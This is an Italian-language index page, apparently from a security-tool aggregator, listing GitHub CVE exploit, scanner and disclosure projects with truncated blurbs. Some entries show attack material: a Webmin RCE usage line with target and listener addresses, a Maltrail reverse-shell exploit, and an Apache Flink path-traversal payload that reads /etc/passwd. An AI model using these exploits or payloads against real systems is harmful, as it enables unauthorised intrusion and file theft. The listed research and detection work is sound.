CVE-2020-10129

CVE-2020-10129 - Il prodotto SearchBlox precedente alla V-9.2 è vulnerabile all'escalation dei privilegi: un utente di livello inferiore è in grado di accedere all'Admin Descrizione del prodotto: SearchBlox semplifica la ricerca aziendale per le organizzazioni complesse. Gli strumenti intuitivi e...

CVE-2021-41773

CVE-2021-41773 Sfruttamento di CVE-2021-41773, un Directory Traversal in Apache 2.4.49...

CVE-2025-49113

Rilevamento CVE-2025-49113 NOTA Questo template è stato ora implementato nello strumento Artemis di CERT Polska. Sono profondamente onorato di essere riconosciuto da CERT Polska per questo script di rilevamento delle vulnerabilità. È un vero privilegio contribuire al rafforzamento degli sforzi...

CVE-2019-15107

CVE-2019-15107 webmin o minisever RCE Utilizzo dello script: Testato su v1.890, ma dovrebbe funzionare anche per altre versioni di webmin in cui questa backdoor è installata. root@kitploit: python3 webminrce.py -t http://10.11.1.88:10000 -l 172.16.1.3 -p 8888...

dirtypipetester

Controllo della vulnerabilità Dirty Pipe Controllo della vulnerabilità Dirty Pipe CVE-2022-0847 -Eseguire direttamente per interrogare lo stato di vulnerabilità del sistema sottoposto a test. -Per interrogare lo stato di vulnerabilità di altre versioni del kernel, eseguire aggiungendo x.xx.xxx al...

CVE-2011-2523

CVE-2011-2523 root@kitploit: usage: CVE-2011-2523.py -h -v RHOST RPORT vsFTPd 2.3.4 CVE-2011-2523 PoC. Reference: https://nvd.nist.gov/vuln/detail/CVE-2011-2523 positional arguments: RHOST target address RPORT target port optional arguments: -h, --help show this help message and exit -v, --versio...

CVE-2024-38856_Scanner

CVE-2024-38856 Solo per uso etico. Qualsiasi attività dannosa o malevola non è consentita. La responsabilità è tua. CVE-2024-38856: Scanner & Exploit per l'esecuzione remota di codice in Apache OFBiz Analisi della CVE: https://blog.securelayer7.net/cve-2024-38856-apache-ofbiz-rce Questo problema...

CVE-2024-3094

CVE-2024-3094 CVE-2024-3094 è una vulnerabilità di sicurezza critica scoperta nei tarball upstream dell'utilità xz, a partire dalla versione 5.6.0. Questa vulnerabilità coinvolge codice malevolo che, attraverso complesse offuscazioni, manipola il processo di compilazione di liblzma. A cosa serve...

FluentD-TD-agent-Exploit-CVE-2020-28169

FluentD-TD-agent-WindowsExploit V4.0.1 CVE-2020-28169 Permesso di cartella non sicuro che porta all'escalation dei privilegi URL di download: https://td-agent-package-browser.herokuapp.com/4/windows...

CVE-2022-46169

CVE-2022-46169 Exploit per cacti versione 1.2.22, CVE-2022-46169 Utilizzo root@kitploit: $ python3 cacti.py...

CVE-2023-4220

CVE-2023-4220...

CVE-2025-41244

💻 Processo Tecnico Passo-Passo Compila il Programma bash Compile the C code into an executable gcc -o /tmp/httpd /tmp/CVE-2025-41244.c Make it executable chmod +x /tmp/httpd Testa la Funzionalità della Versione bash Test the -v flag should print version and exit /tmp/httpd -v Test the -V flag...

CVE-2025-6440

CVE-2025-6440 template nuclei per CVE-2025-6440 VERSIONE BETA, verrà aggiornata...

PagSeguro-Connect-Para-WooCommerce-CVE-Report

PagSeguro-Connect-Para-WooCommerce-CVE-Report Divulgazione per CVE-2025-10142 CVE-2025-10142 - Vulnerabilità in PagSeguro-Connect-para-WooCommerce Questo repository divulga una vulnerabilità scoperta in PagSeguro-Connect-para-WooCommerce = 4.44.3, un plugin WordPress sviluppato da Ricardo Martins...

APACHE-PATH-TRAVERSAL-RCE-CVE-2021-41773-

CVE-2021-41773 — Apache HTTP Server 2.4.49 Path Traversal / RCE Progetto di ricerca educativo. Tutti i test sono stati eseguiti in un laboratorio Docker isolato. Non utilizzare contro sistemi che non possiedi. Riepilogo della vulnerabilità...

CVE-2023-27163---Maltrail-0.53---RCE

CVE-2023-27163---Maltrail-0.53---RCE root@kitploit: Creato da TheAlchimist cve-2023-27163-maltrail.py per reverse shell...

CVE-2025-26399

CVE-2025-26399 Come funziona questo metodo di rilevamento? Questo script rileva le istanze di SolarWinds Web Help Desk vulnerabili a CVE-2025-26399 richiedendo la pagina di login di Helpdesk, confermando gli identificatori del prodotto nella risposta, estraendo il token di build incorporato come...

CVE-2026-8181

EN: PoC controllato e brevi note tecniche per test di sicurezza autorizzati del bypass dell'autenticazione in Burst Statistics. TR:...

CVE-2020-17519-Apache-Flink

CVE-2020-17519 Apache Flink lettura arbitraria di file Ambito di impatto Apache Flink 1.5.1 1.11.2 POC /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd Istruzioni per l'uso dello script python3 CVE-2020-17519 --help Visualizza la...

EP4-redes

POC CVE-2018-15473 exploit Adaptiert von https://github.com/Rhynorater/CVE-2018-15473-Exploit Um diesen Exploit auszuführen, müssen folgende Komponenten installiert sein: docker docker compose SSH-Server Wir beginnen damit, ein Image von DockerHub zu ziehen, das eine alte Version 6.6 von SSH auf...